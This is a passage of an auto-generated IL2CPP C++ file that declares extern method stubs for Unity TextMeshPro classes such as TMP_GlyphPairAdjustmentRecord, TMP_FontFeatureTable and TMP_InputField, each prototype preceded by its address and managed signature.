// 0x00000274 TMPro.TMP_GlyphValueRecord TMPro.TMP_GlyphAdjustmentRecord::get_glyphValueRecord()
extern void TMP_GlyphAdjustmentRecord_get_glyphValueRecord_m1368E9CA86E6E76E04901506445319BAEFD6AA56 (void);
// 0x00000275 System.Void TMPro.TMP_GlyphAdjustmentRecord::set_glyphValueRecord(TMPro.TMP_GlyphValueRecord)
extern void TMP_GlyphAdjustmentRecord_set_glyphValueRecord_m47A43D4E95C3A89DC17588C3BE7F093517B4EBE9 (void);
// 0x00000276 System.Void TMPro.TMP_GlyphAdjustmentRecord::.ctor(System.UInt32,TMPro.TMP_GlyphValueRecord)
extern void TMP_GlyphAdjustmentRecord__ctor_m41FDDFADD92DB1A8446228B1108E3E5C985CAAE0 (void);
// 0x00000277 System.Void TMPro.TMP_GlyphAdjustmentRecord::.ctor(UnityEngine.TextCore.LowLevel.GlyphAdjustmentRecord)
extern void TMP_GlyphAdjustmentRecord__ctor_mB6BB797DD594B413042DD5D4FB8D691430FC8F51 (void);
// 0x00000278 TMPro.TMP_GlyphAdjustmentRecord TMPro.TMP_GlyphPairAdjustmentRecord::get_firstAdjustmentRecord()
extern void TMP_GlyphPairAdjustmentRecord_get_firstAdjustmentRecord_m4782831AE89EF77464166E4EB47C251B8483A458 (void);
// 0x00000279 System.Void TMPro.TMP_GlyphPairAdjustmentRecord::set_firstAdjustmentRecord(TMPro.TMP_GlyphAdjustmentRecord)
extern void TMP_GlyphPairAdjustmentRecord_set_firstAdjustmentRecord_m795F115F13680DDAA3F4BCED9902C3CE3C8A497F (void);
// 0x0000027A TMPro.TMP_GlyphAdjustmentRecord TMPro.TMP_GlyphPairAdjustmentRecord::get_secondAdjustmentRecord()
extern void TMP_GlyphPairAdjustmentRecord_get_secondAdjustmentRecord_mF238079D6ADF0E2D6BE59D48758E13C2ED2F2B32 (void);
// 0x0000027B System.Void TMPro.TMP_GlyphPairAdjustmentRecord::set_secondAdjustmentRecord(TMPro.TMP_GlyphAdjustmentRecord)
extern void TMP_GlyphPairAdjustmentRecord_set_secondAdjustmentRecord_mAE3695EF425238B8F692F1808BF9055E63AEF98A (void);
// 0x0000027C TMPro.FontFeatureLookupFlags TMPro.TMP_GlyphPairAdjustmentRecord::get_featureLookupFlags()
extern void TMP_GlyphPairAdjustmentRecord_get_featureLookupFlags_mAAFBDA6BE590EC3C085CA1537384CB1D97390691 (void);
// 0x0000027D System.Void TMPro.TMP_GlyphPairAdjustmentRecord::set_featureLookupFlags(TMPro.FontFeatureLookupFlags)
extern void TMP_GlyphPairAdjustmentRecord_set_featureLookupFlags_m20C444D8AAE7A18E0B767B385272AE28C21007AB (void);
// 0x0000027E System.Void TMPro.TMP_GlyphPairAdjustmentRecord::.ctor(TMPro.TMP_GlyphAdjustmentRecord,TMPro.TMP_GlyphAdjustmentRecord)
extern void TMP_GlyphPairAdjustmentRecord__ctor_m0BCCF9AF25F0A727D02FD778ACA2C7AD38F981CC (void);
// 0x0000027F System.Void TMPro.TMP_GlyphPairAdjustmentRecord::.ctor(UnityEngine.TextCore.LowLevel.GlyphPairAdjustmentRecord)
extern void TMP_GlyphPairAdjustmentRecord__ctor_m33C61225BE06EEB15E3AD599451078F503BA4A60 (void);
// 0x00000280 System.Void TMPro.GlyphPairKey::.ctor(System.UInt32,System.UInt32)
extern void GlyphPairKey__ctor_m59DDEB66E800AABAEF624BCCF1CE091F27F124A2 (void);
// 0x00000281 System.Void TMPro.GlyphPairKey::.ctor(TMPro.TMP_GlyphPairAdjustmentRecord)
extern void GlyphPairKey__ctor_mB1A0951B06F19D942015727B646A530A9EB68577 (void);
// 0x00000282 System.Collections.Generic.List`1<TMPro.TMP_GlyphPairAdjustmentRecord> TMPro.TMP_FontFeatureTable::get_glyphPairAdjustmentRecords()
extern void TMP_FontFeatureTable_get_glyphPairAdjustmentRecords_m00772830EC8C026F17A21CBC39D26FC4D0A49FB2 (void);
// 0x00000283 System.Void TMPro.TMP_FontFeatureTable::set_glyphPairAdjustmentRecords(System.Collections.Generic.List`1<TMPro.TMP_GlyphPairAdjustmentRecord>)
extern void TMP_FontFeatureTable_set_glyphPairAdjustmentRecords_mCA20A72ABB8E829EE3C258B305143166EF220D62 (void);
// 0x00000284 System.Void TMPro.TMP_FontFeatureTable::.ctor()
extern void TMP_FontFeatureTable__ctor_m6F156B35A4B68F5616CFD3236C64F1E790D69039 (void);
// 0x00000285 System.Void TMPro.TMP_FontFeatureTable::SortGlyphPairAdjustmentRecords()
extern void TMP_FontFeatureTable_SortGlyphPairAdjustmentRecords_m8BF5A029B84FF32BFCF4B32AD3D32F463DD050BD (void);
// 0x00000286 System.Void TMPro.TMP_FontFeatureTable/<>c::.cctor()
extern void U3CU3Ec__cctor_m4B32C0F7803D39CB769E114666BE8DA5B072F973 (void);
// 0x00000287 System.Void TMPro.TMP_FontFeatureTable/<>c::.ctor()
extern void U3CU3Ec__ctor_mE70BB44A038503EE1979AD30BA141C6792A5160A (void);
// 0x00000288 System.UInt32 TMPro.TMP_FontFeatureTable/<>c::<SortGlyphPairAdjustmentRecords>b__6_0(TMPro.TMP_GlyphPairAdjustmentRecord)
extern void U3CU3Ec_U3CSortGlyphPairAdjustmentRecordsU3Eb__6_0_m6E8D8B97DDFB03B6EF69ADF2E85D412411D50075 (void);
// 0x00000289 System.UInt32 TMPro.TMP_FontFeatureTable/<>c::<SortGlyphPairAdjustmentRecords>b__6_1(TMPro.TMP_GlyphPairAdjustmentRecord)
extern void U3CU3Ec_U3CSortGlyphPairAdjustmentRecordsU3Eb__6_1_m12FAD67963FC77E6B359185D50EE168FCB5F7095 (void);
// 0x0000028A UnityEngine.EventSystems.BaseInput TMPro.TMP_InputField::get_inputSystem()
extern void TMP_InputField_get_inputSystem_mB89A77F46D53CCD05D9F57E03F4586B90265A55A (void);
// 0x0000028B System.String TMPro.TMP_InputField::get_compositionString()
extern void TMP_InputField_get_compositionString_m4332AACD655CF044F84411B3BCE32BF2034AC4CC (void);
// 0x0000028C System.Int32 TMPro.TMP_InputField::get_compositionLength()
extern void TMP_InputField_get_compositionLength_m444E57B7F68C9AECE1CDEBF4732FAD66EBA4937F (void);
// 0x0000028D System.Void TMPro.TMP_InputField::.ctor()
extern void TMP_InputField__ctor_m6C5321A190D58235E29A17D7EE17D249D210A07B (void);
// 0x0000028E UnityEngine.Mesh TMPro.TMP_InputField::get_mesh()
extern void TMP_InputField_get_mesh_m200F4FCC0738B54A3DFED98FF430660DB52E3E00 (void);
// 0x0000028F System.Boolean TMPro.TMP_InputField::get_shouldHideMobileInput()
extern void TMP_InputField_get_shouldHideMobileInput_mB40438A3E4172E95CE11F03FD2484E954CDB1F1B (void);
// 0x00000290 System.Void TMPro.TMP_InputField::set_shouldHideMobileInput(System.Boolean)
extern void TMP_InputField_set_shouldHideMobileInput_mB1D2ADC209DE64154BAD42C2D25BFDA27081BB9B (void);
// 0x00000291 System.Boolean TMPro.TMP_InputField::get_shouldHideSoftKeyboard()
extern void TMP_InputField_get_shouldHideSoftKeyboard_m08F3F6AB9DC9A89029B6A41E26F42B7222535790 (void);
// 0x00000292 System.Void TMPro.TMP_InputField::set_shouldHideSoftKeyboard(System.Boolean)
extern void TMP_InputField_set_shouldHideSoftKeyboard_m0414B5C0C3B07F0371671963D699EEA303D8A13E (void);
// 0x00000293 System.Boolean TMPro.TMP_InputField::isKeyboardUsingEvents()
extern void TMP_InputField_isKeyboardUsingEvents_mE8A5552B89353CF45DBC4206F55ED41EB7C0F273 (void);
// 0x00000294 System.String TMPro.TMP_InputField::get_text()
extern void TMP_InputField_get_text_mA4ACBF52435893D9DFD822A492454301740B3C6A (void);
// 0x00000295 System.Void TMPro.TMP_InputField::set_text(System.String)
extern void TMP_InputField_set_text_m684E9CDA2D9E82D1C497B5E03DBE79C00584FF62 (void);
// 0x00000296 System.Void TMPro.TMP_InputField::SetTextWithoutNotify(System.String)
extern void TMP_InputField_SetTextWithoutNotify_mE5ED91EB1759228F56E15A0E4BF47A7F8E28AB23 (void);
// 0x00000297 System.Void TMPro.TMP_InputField::SetText(System.String,System.Boolean)
extern void TMP_InputField_SetText_m8D34D265867AA18228AA10E118A2DFE630911BFE (void);
// 0x00000298 System.Boolean TMPro.TMP_InputField::get_isFocused()
extern void TMP_InputField_get_isFocused_m7FD1AA3B92404C30596FF6EE5F644757A2F060DE (void);
// 0x00000299 System.Single TMPro.TMP_InputField::get_caretBlinkRate()
extern void TMP_InputField_get_caretBlinkRate_mACAF2093330BB9CB0B8C5F7D76EAA4EB0AE4DD18 (void);
// 0x0000029A System.Void TMPro.TMP_InputField::set_caretBlinkRate(System.Single)
extern void TMP_InputField_set_caretBlinkRate_m4D4B8F3C2169EE3FA7B27BECBD1563BFAD7B41F7 (void);
// 0x0000029B System.Int32 TMPro.TMP_InputField::get_caretWidth()
extern void TMP_InputField_get_caretWidth_mA95E0A88F505D9618791AEDE9D649CA70F7E3B65 (void);
// 0x0000029C System.Void TMPro.TMP_InputField::set_caretWidth(System.Int32)
extern void TMP_InputField_set_caretWidth_m291DBA8BEF0BD40BB4FAEE2AC71F9CDD114FAA9A (void);
// 0x0000029D UnityEngine.RectTransform TMPro.TMP_InputField::get_textViewport()
extern void TMP_InputField_get_textViewport_m51E9CFB11A78199484D2BC2750F19DB7D2A26763 (void);
// 0x0000029E System.Void TMPro.TMP_InputField::set_textViewport(UnityEngine.RectTransform)
extern void TMP_InputField_set_textViewport_m3CB40F8DD0636EFBA496F1E76D41EE9C9570CB17 (void);
// 0x0000029F TMPro.TMP_Text TMPro.TMP_InputField::get_textComponent()
extern void TMP_InputField_get_textComponent_m85C4BC3F4C18206B3B942F03DB0B953B028EE1CE (void);
// 0x000002A0 System.Void TMPro.TMP_InputField::set_textComponent(TMPro.TMP_Text)
extern void TMP_InputField_set_textComponent_mCECC9B18AE37E999E5B38431D89C17B9BE384E07 (void);
// 0x000002A1 UnityEngine.UI.Graphic TMPro.TMP_InputField::get_placeholder()
extern void TMP_InputField_get_placeholder_m6C5FDEB031E2900A1792B928E4864B21B144AB3C (void);
// 0x000002A2 System.Void TMPro.TMP_InputField::set_placeholder(UnityEngine.UI.Graphic)
extern void TMP_InputField_set_placeholder_m597012397FF55E6DE7E5E63972A3BE03EEAC480A (void);
// 0x000002A3 UnityEngine.UI.Scrollbar TMPro.TMP_InputField::get_verticalScrollbar()
extern void TMP_InputField_get_verticalScrollbar_mCB3FAFA0D86926FCD1A6620009BF3AEB274F17DD (void);
// 0x000002A4 System.Void TMPro.TMP_InputField::set_verticalScrollbar(UnityEngine.UI.Scrollbar)
extern void TMP_InputField_set_verticalScrollbar_m8863C8FDC647B006DC8DAD8C3EDCF6353E08F945 (void);
// 0x000002A5 System.Single TMPro.TMP_InputField::get_scrollSensitivity()
extern void TMP_InputField_get_scrollSensitivity_m219F37C4A7DF784B9522EE565AE70EB813E799A8 (void);
// 0x000002A6 System.Void TMPro.TMP_InputField::set_scrollSensitivity(System.Single)
extern void TMP_InputField_set_scrollSensitivity_m67129EC21A5560B781F61CB5C2282F977EB9AE12 (void);
// 0x000002A7 UnityEngine.Color TMPro.TMP_InputField::get_caretColor()
extern void TMP_InputField_get_caretColor_m9733E1CB5CAD3CCFA9C32343D12F0095BA6DC76F (void);
// 0x000002A8 System.Void TMPro.TMP_InputField::set_caretColor(UnityEngine.Color)
extern void TMP_InputField_set_caretColor_mAF2AF8646B44D6AAA885F2A664DB88431E22177C (void);
// 0x000002A9 System.Boolean TMPro.TMP_InputField::get_customCaretColor()
extern void TMP_InputField_get_customCaretColor_m566EC393CFD6206101A2E0BE5AA2BB9D7233CF19 (void);
// 0x000002AA System.Void TMPro.TMP_InputField::set_customCaretColor(System.Boolean)
extern void TMP_InputField_set_customCaretColor_m9A33CA9154050A1C09881207B9C7B832B6C44B6B (void);
// 0x000002AB UnityEngine.Color TMPro.TMP_InputField::get_selectionColor()
extern void TMP_InputField_get_selectionColor_m99D5B9FBC11FEAA170C113FB238120A73429F5BB (void);
// 0x000002AC System.Void TMPro.TMP_InputField::set_selectionColor(UnityEngine.Color)
extern void TMP_InputField_set_selectionColor_m9B30F4DC90BBD21ECDA6B5888F2F8E4B2EC7686D (void);
// 0x000002AD TMPro.TMP_InputField/SubmitEvent TMPro.TMP_InputField::get_onEndEdit()
extern void TMP_InputField_get_onEndEdit_m0CE9718C71A834CC279430E20DC7FF4F42114FD3 (void);
// 0x000002AE System.Void TMPro.TMP_InputField::set_onEndEdit(TMPro.TMP_InputField/SubmitEvent)
extern void TMP_InputField_set_onEndEdit_mE34D6037D2C9FCAE1C9AF253D34D72541D306F4A (void);
// 0x000002AF TMPro.TMP_InputField/SubmitEvent TMPro.TMP_InputField::get_onSubmit()
extern void TMP_InputField_get_onSubmit_mAA494FA0B3CFFB2916B399BD5D87C2E1AA637B90 (void);
// 0x000002B0 System.Void TMPro.TMP_InputField::set_onSubmit(TMPro.TMP_InputField/SubmitEvent)
extern void TMP_InputField_set_onSubmit_m0FD1B91CB6BDD3864C74BFDBC458DF0C3B2EA193 (void);
// 0x000002B1 TMPro.TMP_InputField/SelectionEvent TMPro.TMP_InputField::get_onSelect()
extern void TMP_InputField_get_onSelect_m6762226148A4B3265EE5FD70ED894BBE8DE86AF0 (void);
// 0x000002B2 System.Void TMPro.TMP_InputField::set_onSelect(TMPro.TMP_InputField/SelectionEvent)
extern void TMP_InputField_set_onSelect_m0D471B94B9358B9AD840B3F5E2A756C1D5DACD1F (void);
// 0x000002B3 TMPro.TMP_InputField/SelectionEvent TMPro.TMP_InputField::get_onDeselect()
extern void TMP_InputField_get_onDeselect_mC9429495032728AEE8FCB818D61EDFB5DC7F9B0A (void);
// 0x000002B4 System.Void TMPro.TMP_InputField::set_onDeselect(TMPro.TMP_InputField/SelectionEvent)
extern void TMP_InputField_set_onDeselect_m13E94D8DA5530F8E6B438D98E1C8B801E3702006 (void);
// 0x000002B5 TMPro.TMP_InputField/TextSelectionEvent TMPro.TMP_InputField::get_onTextSelection()
extern void TMP_InputField_get_onTextSelection_mEBA14AF8E2BAF100DE885B78385F510A8E978A33 (void);
// 0x000002B6 System.Void TMPro.TMP_InputField::set_onTextSelection(TMPro.TMP_InputField/TextSelectionEvent)
extern void TMP_InputField_set_onTextSelection_m52044BF605C6084CC95CB9D492652BA29D4E5699 (void);
// 0x000002B7 TMPro.TMP_InputField/TextSelectionEvent TMPro.TMP_InputField::get_onEndTextSelection()
extern void TMP_InputField_get_onEndTextSelection_mB01ED58A536B3DCC323A974C27C50337EAC7CAD5 (void);
// 0x000002B8 System.Void TMPro.TMP_InputField::set_onEndTextSelection(TMPro.TMP_InputField/TextSelectionEvent)
extern void TMP_InputField_set_onEndTextSelection_mAF020E9DF7C78B4A16653D2F5F77C8B78B474C67 (void);
// 0x000002B9 TMPro.TMP_InputField/OnChangeEvent TMPro.TMP_InputField::get_onValueChanged()
extern void TMP_InputField_get_onValueChanged_m407B5F5BFD1F4B04032F6B90B06F5072F5993407 (void);
// 0x000002BA System.Void TMPro.TMP_InputField::set_onValueChanged(TMPro.TMP_InputField/OnChangeEvent)
extern void TMP_InputField_set_onValueChanged_m2C1B41AC850107D098E1D8BC481D23ED5310952E (void);
// 0x000002BB TMPro.TMP_InputField/TouchScreenKeyboardEvent TMPro.TMP_InputField::get_onTouchScreenKeyboardStatusChanged()
extern void TMP_InputField_get_onTouchScreenKeyboardStatusChanged_mF14075CDC1B4C99F300FCAD70350CDF144CB4818 (void);
// 0x000002BC System.Void TMPro.TMP_InputField::set_onTouchScreenKeyboardStatusChanged(TMPro.TMP_InputField/TouchScreenKeyboardEvent)
extern void TMP_InputField_set_onTouchScreenKeyboardStatusChanged_m7AC290C056FF92BFA6558AEEE89E10BAC48A92CA (void);
// 0x000002BD TMPro.TMP_InputField/OnValidateInput TMPro.TMP_InputField::get_onValidateInput()
extern void TMP_InputField_get_onValidateInput_mF293BE6DE7AAA1F8E37E20B73418A639A8963A7D (void);
// 0x000002BE System.Void TMPro.TMP_InputField::set_onValidateInput(TMPro.TMP_InputField/OnValidateInput)
extern void TMP_InputField_set_onValidateInput_mDA2BDCF7BFA9F24D48BA27027B9BCD366164C972 (void);
// 0x000002BF System.Int32 TMPro.TMP_InputField::get_characterLimit()
extern void TMP_InputField_get_characterLimit_m59833E0A22BACBDF3EDA6A70A30B87272FBAA409 (void);
// 0x000002C0 System.Void TMPro.TMP_InputField::set_characterLimit(System.Int32)
extern void TMP_InputField_set_characterLimit_m64ADC294FC147C1E0806B5C175B9EA626059D4DC (void);
// 0x000002C1 System.Single TMPro.TMP_InputField::get_pointSize()
extern void TMP_InputField_get_pointSize_m2F9C02B8B2E8501799E118F3FC1675DB1555EEB3 (void);
// 0x000002C2 System.Void TMPro.TMP_InputField::set_pointSize(System.Single)
extern void TMP_InputField_set_pointSize_m5001D4D1325CE0737CAA65D86ACAB2D88DAA87C3 (void);
// 0x000002C3 TMPro.TMP_FontAsset TMPro.TMP_InputField::get_fontAsset()
extern void TMP_InputField_get_fontAsset_m9EAAF4737728BB51C8D5D7A1AC46E77DD970F176 (void);
// 0x000002C4 System.Void TMPro.TMP_InputField::set_fontAsset(TMPro.TMP_FontAsset)
extern void TMP_InputField_set_fontAsset_mB102F697B83B5115F2E4B30A076FE67D30BCA201 (void);
// 0x000002C5 System.Boolean TMPro.TMP_InputField::get_onFocusSelectAll()
extern void TMP_InputField_get_onFocusSelectAll_m6A1A06461D6B01EE2E68624B9D7E5E3C7D092CDC (void);
// 0x000002C6 System.Void TMPro.TMP_InputField::set_onFocusSelectAll(System.Boolean)
extern void TMP_InputField_set_onFocusSelectAll_mDC9C36C7201E90054B97AE94251577ABB103FD75 (void);
// 0x000002C7 System.Boolean TMPro.TMP_InputField::get_resetOnDeActivation()
extern void TMP_InputField_get_resetOnDeActivation_m6BB1C27CCFB72767235B459ED4F3A81965273771 (void);
// 0x000002C8 System.Void TMPro.TMP_InputField::set_resetOnDeActivation(System.Boolean)
extern void TMP_InputField_set_resetOnDeActivation_mCB035C9EADE4A6896C42DDCEC996D00D4A7F6CB2 (void);
// 0x000002C9 System.Boolean TMPro.TMP_InputField::get_restoreOriginalTextOnEscape()
extern void TMP_InputField_get_restoreOriginalTextOnEscape_m138E8AAD613E1A3693B8B9E6469B6450F86D367D (void);
// 0x000002CA System.Void TMPro.TMP_InputField::set_restoreOriginalTextOnEscape(System.Boolean)
extern void TMP_InputField_set_restoreOriginalTextOnEscape_mA8F67F61689BBD34C3B4811DAD7380253EA8069C (void);
// 0x000002CB System.Boolean TMPro.TMP_InputField::get_isRichTextEditingAllowed()
extern void TMP_InputField_get_isRichTextEditingAllowed_mBF19A7F1ECC8F9C2F06D1D7636F45882E671CCB3 (void);
// 0x000002CC System.Void TMPro.TMP_InputField::set_isRichTextEditingAllowed(System.Boolean)
extern void TMP_InputField_set_isRichTextEditingAllowed_m3BEB725A42ACC0CD7990E36B4B707AB892EA8B21 (void);
// 0x000002CD TMPro.TMP_InputField/ContentType TMPro.TMP_InputField::get_contentType()
extern void TMP_InputField_get_contentType_m32EEDFC275E9CB6C759A4F117EBAA40336B9030D (void);
// 0x000002CE System.Void TMPro.TMP_InputField::set_contentType(TMPro.TMP_InputField/ContentType)
extern void TMP_InputField_set_contentType_mB9BCF78B6868FBB3CDE671DDF008E3716D3ADC91 (void);
// 0x000002CF TMPro.TMP_InputField/LineType TMPro.TMP_InputField::get_lineType()
extern void TMP_InputField_get_lineType_mE221F133A310EB6C93DA24E1F5900E948771D64C (void);
// 0x000002D0 System.Void TMPro.TMP_InputField::set_lineType(TMPro.TMP_InputField/LineType)
extern void TMP_InputField_set_lineType_m0B3A3770A8229ABCDF139F80765FC6C3A659FD21 (void);
// 0x000002D1 System.Int32 TMPro.TMP_InputField::get_lineLimit()
extern void TMP_InputField_get_lineLimit_m771801BE2D9D7F788EDA1F90336929FC54193D9F (void);
// 0x000002D2 System.Void TMPro.TMP_InputField::set_lineLimit(System.Int32)
extern void TMP_InputField_set_lineLimit_mD645AAD616399138A50AA905E8A8CD4B5B177B62 (void);
// 0x000002D3 TMPro.TMP_InputField/InputType TMPro.TMP_InputField::get_inputType()
extern void TMP_InputField_get_inputType_m93A6CC8FF76412F46471D91952323CE4C63B7D34 (void);
// 0x000002D4 System.Void TMPro.TMP_InputField::set_inputType(TMPro.TMP_InputField/InputType)
extern void TMP_InputField_set_inputType_mF1647C27280C29CE45DB74457ABF43B46A19366C (void);
// 0x000002D5 UnityEngine.TouchScreenKeyboardType TMPro.TMP_InputField::get_keyboardType()
extern void TMP_InputField_get_keyboardType_m8B616A743B2FAB03C6263F1582171BB390F94F8B (void);
// 0x000002D6 System.Void TMPro.TMP_InputField::set_keyboardType(UnityEngine.TouchScreenKeyboardType)
extern void TMP_InputField_set_keyboardType_m97210FB5D41B6AAE5352D2BD6C1D45AF8174FC95 (void);
// 0x000002D7 TMPro.TMP_InputField/CharacterValidation TMPro.TMP_InputField::get_characterValidation()
extern void TMP_InputField_get_characterValidation_m57E36C62FC9E23DB17F440BA4325A314EF0B0679 (void);
// 0x000002D8 System.Void TMPro.TMP_InputField::set_characterValidation(TMPro.TMP_InputField/CharacterValidation)
extern void TMP_InputField_set_characterValidation_mE2D042600CF00A3F5D8EFF09271C0FCDCE324D4C (void);
// 0x000002D9 TMPro.TMP_InputValidator TMPro.TMP_InputField::get_inputValidator()
extern void TMP_InputField_get_inputValidator_mF47AEABCFD04F4F9FE7F7C64331A8B01B7976CF7 (void);
// 0x000002DA System.Void TMPro.TMP_InputField::set_inputValidator(TMPro.TMP_InputValidator)
extern void TMP_InputField_set_inputValidator_m619FB8CCDB4B2BA3FE13ADF567137061647E9AA2 (void);
// 0x000002DB System.Boolean TMPro.TMP_InputField::get_readOnly()
extern void TMP_InputField_get_readOnly_m551BFA0AB64EBD12F49C0993305274BC8176E0A5 (void);
// 0x000002DC System.Void TMPro.TMP_InputField::set_readOnly(System.Boolean)
extern void TMP_InputField_set_readOnly_m05A0789FE9583F510DF5299A963BA0C32EC03C8A (void);
// 0x000002DD System.Boolean TMPro.TMP_InputField::get_richText()
extern void TMP_InputField_get_richText_mFDFECA8E9F49F27A5FCCB4D147C283581BE66155 (void);
// 0x000002DE System.Void TMPro.TMP_InputField::set_richText(System.Boolean)
extern void TMP_InputField_set_richText_m1AE9CD128CFF3316C1C602717337241666AA1FA4 (void);
// 0x000002DF System.Boolean TMPro.TMP_InputField::get_multiLine()
extern void TMP_InputField_get_multiLine_m3000150A39B90BCFFAFD41E0F49F479323F045B7 (void);
// 0x000002E0 System.Char TMPro.TMP_InputField::get_asteriskChar()
extern void TMP_InputField_get_asteriskChar_m3D3F22537749D339A3DB36BE6C56015D0B06A38E (void);
// 0x000002E1 System.Void TMPro.TMP_InputField::set_asteriskChar(System.Char)
extern void TMP_InputField_set_asteriskChar_m5A6D4BEB046DC3E1397972AEF86F00F5FEDB4CD0 (void);
// 0x000002E2 System.Boolean TMPro.TMP_InputField::get_wasCanceled()
extern void TMP_InputField_get_wasCanceled_mEF43E80CFB8EE3DCE8599D64213D3F977D9794FF (void);
// 0x000002E3 System.Void TMPro.TMP_InputField::ClampStringPos(System.Int32&)
extern void TMP_InputField_ClampStringPos_mCEF1B5B73F19C6FFA1A9411FCA485B7F81C73D05 (void);
// 0x000002E4 System.Void TMPro.TMP_InputField::ClampCaretPos(System.Int32&)
extern void TMP_InputField_ClampCaretPos_m24F8EDB52862BA470A2CD5FD3D2A62AA86A00FC1 (void);
// 0x000002E5 System.Int32 TMPro.TMP_InputField::get_caretPositionInternal()
extern void TMP_InputField_get_caretPositionInternal_m21C9BFCD70C944B374E5C916C7E7E67B75B831EA (void);
// 0x000002E6 System.Void TMPro.TMP_InputField::set_caretPositionInternal(System.Int32)
extern void TMP_InputField_set_caretPositionInternal_mEC3488328558F5257115078785242BE6C59BA1BF (void);
// 0x000002E7 System.Int32 TMPro.TMP_InputField::get_stringPositionInternal()
extern void TMP_InputField_get_stringPositionInternal_mBDA10D8ED51D01C973FB6CFDD1096DD29CA5D214 (void);
// 0x000002E8 System.Void TMPro.TMP_InputField::set_stringPositionInternal(System.Int32)
extern void TMP_InputField_set_stringPositionInternal_m0C190ABB9829A8F93268F669655D6AF29E25E265 (void);
// 0x000002E9 System.Int32 TMPro.TMP_InputField::get_caretSelectPositionInternal()
extern void TMP_InputField_get_caretSelectPositionInternal_m977002CC2C821A3B4FA5FB3F1BC15C7DD0BA35A4 (void);
// 0x000002EA System.Void TMPro.TMP_InputField::set_caretSelectPositionInternal(System.Int32)
extern void TMP_InputField_set_caretSelectPositionInternal_m2AA6FD295A4E6D7236ABFE88B4CF49EDDA566191 (void);
// 0x000002EB System.Int32 TMPro.TMP_InputField::get_stringSelectPositionInternal()
extern void TMP_InputField_get_stringSelectPositionInternal_m8FE3D7533D67501DFDC1EA83B3FD72F8C1E0A79D (void);
// 0x000002EC System.Void TMPro.TMP_InputField::set_stringSelectPositionInternal(System.Int32)
extern void TMP_InputField_set_stringSelectPositionInternal_mCBA385B30788D514E2306703B370F6350E1B9997 (void);
// 0x000002ED System.Boolean TMPro.TMP_InputField::get_hasSelection()
extern void TMP_InputField_get_hasSelection_mA2CF23CC43AD3EE9F66C67A5995407EBB2F59565 (void);
// 0x000002EE System.Int32 TMPro.TMP_InputField::get_caretPosition()
extern void TMP_InputField_get_caretPosition_m1F103634776349DFA375AC8C64F1D2535A693A15 (void);
// 0x000002EF System.Void TMPro.TMP_InputField::set_caretPosition(System.Int32)
extern void TMP_InputField_set_caretPosition_mD5B0AFA01D9947B7EFC98CD4C4BF927518513FF4 (void);
// 0x000002F0 System.Int32 TMPro.TMP_InputField::get_selectionAnchorPosition()
extern void TMP_InputField_get_selectionAnchorPosition_mAAD925C368B16EFE972C11F551A1D9DCB93B0B93 (void);
// 0x000002F1 System.Void TMPro.TMP_InputField::set_selectionAnchorPosition(System.Int32)
extern void TMP_InputField_set_selectionAnchorPosition_mB6E72D94EFD7C55EAFA8F8AAC30D255935438B06 (void);
// 0x000002F2 System.Int32 TMPro.TMP_InputField::get_selectionFocusPosition()
extern void TMP_InputField_get_selectionFocusPosition_m64C9DB19CDB18E29B7CB02DCC84B5F05ACDB473E (void);
// 0x000002F3 System.Void TMPro.TMP_InputField::set_selectionFocusPosition(System.Int32)
extern void TMP_InputField_set_selectionFocusPosition_m862731C1A303D3778E292AB427BC1BEF4407050D (void);
// 0x000002F4 System.Int32 TMPro.TMP_InputField::get_stringPosition()
extern void TMP_InputField_get_stringPosition_m5C9E52B4A7304183ED4F690AD6239D57B142A7B6 (void);
// 0x000002F5 System.Void TMPro.TMP_InputField::set_stringPosition(System.Int32)
extern void TMP_InputField_set_stringPosition_mB6538BDB302FECF09EAD5BA986FB11BBE6A49E8A (void);
// 0x000002F6 System.Int32 TMPro.TMP_InputField::get_selectionStringAnchorPosition()
extern void TMP_InputField_get_selectionStringAnchorPosition_m321370B1A913B9B619DE5C5A5E5FA8D251C0B8F2 (void);
// 0x000002F7 System.Void TMPro.TMP_InputField::set_selectionStringAnchorPosition(System.Int32)
extern void TMP_InputField_set_selectionStringAnchorPosition_m60E8DEBD9389373AD410E7E868D3C36CCA202B8E (void);
// 0x000002F8 System.Int32 TMPro.TMP_InputField::get_selectionStringFocusPosition()
extern void TMP_InputField_get_selectionStringFocusPosition_mA044AFF5699E8B61BF3CBE271522AC8CA7088B0F (void);
// 0x000002F9 System.Void TMPro.TMP_InputField::set_selectionStringFocusPosition(System.Int32)
extern void TMP_InputField_set_selectionStringFocusPosition_mB23FDE5288C4F033028320FE4DBDEB096AAB3917 (void);
// 0x000002FA System.Void TMPro.TMP_InputField::OnEnable()
extern void TMP_InputField_OnEnable_m3A78BC51F18EDA6775A85DB81F8F401B17D04475 (void);
// 0x000002FB System.Void TMPro.TMP_InputField::OnDisable()
extern void TMP_InputField_OnDisable_m2E967647BDF216075B8F3EB3C1559B6AAA2D3C95 (void);
// 0x000002FC System.Void TMPro.TMP_InputField::ON_TEXT_CHANGED(UnityEngine.Object)
extern void TMP_InputField_ON_TEXT_CHANGED_mEA6A2C8BD4AF9D1C0CF5A6EC9608F2149256B553 (void);
// 0x000002FD System.Collections.IEnumerator TMPro.TMP_InputField::CaretBlink()
extern void TMP_InputField_CaretBlink_m280BE5F4289F6C4ABA767D15C147E39DA6B54AD5 (void);
// 0x000002FE System.Void TMPro.TMP_InputField::SetCaretVisible()
extern void TMP_InputField_SetCaretVisible_m1D8A496EA7137B9CCEFD1785B1D5BFA3A3325194 (void);
// 0x000002FF System.Void TMPro.TMP_InputField::SetCaretActive()
extern void TMP_InputField_SetCaretActive_mC9858C9E1FE6D8800219C49C52A9FACC1ED5EEC1 (void);
// 0x00000300 System.Void TMPro.TMP_InputField::OnFocus()
extern void TMP_InputField_OnFocus_mBDC52EE4DF24C43E6C4C272B09FDAE6F7CB5970F (void);
// 0x00000301 System.Void TMPro.TMP_InputField::SelectAll()
extern void TMP_InputField_SelectAll_mC66107E00F20D1E401A04108D2A9136559AD23F7 (void);
// 0x00000302 System.Void TMPro.TMP_InputField::MoveTextEnd(System.Boolean)
extern void TMP_InputField_MoveTextEnd_mC781F7D531E0B22F73DF2C6E5F882243DD133E6A (void);
// 0x00000303 System.Void TMPro.TMP_InputField::MoveTextStart(System.Boolean)
extern void TMP_InputField_MoveTextStart_m8D0AA8989DE9DB5D0B540343640BFAAA1C0CEC9E (void);
// 0x00000304 System.Void TMPro.TMP_InputField::MoveToEndOfLine(System.Boolean,System.Boolean)
extern void TMP_InputField_MoveToEndOfLine_m42BC00BF1E1A82E956220244E72E577C667297D8 (void);
// 0x00000305 System.Void TMPro.TMP_InputField::MoveToStartOfLine(System.Boolean,System.Boolean)
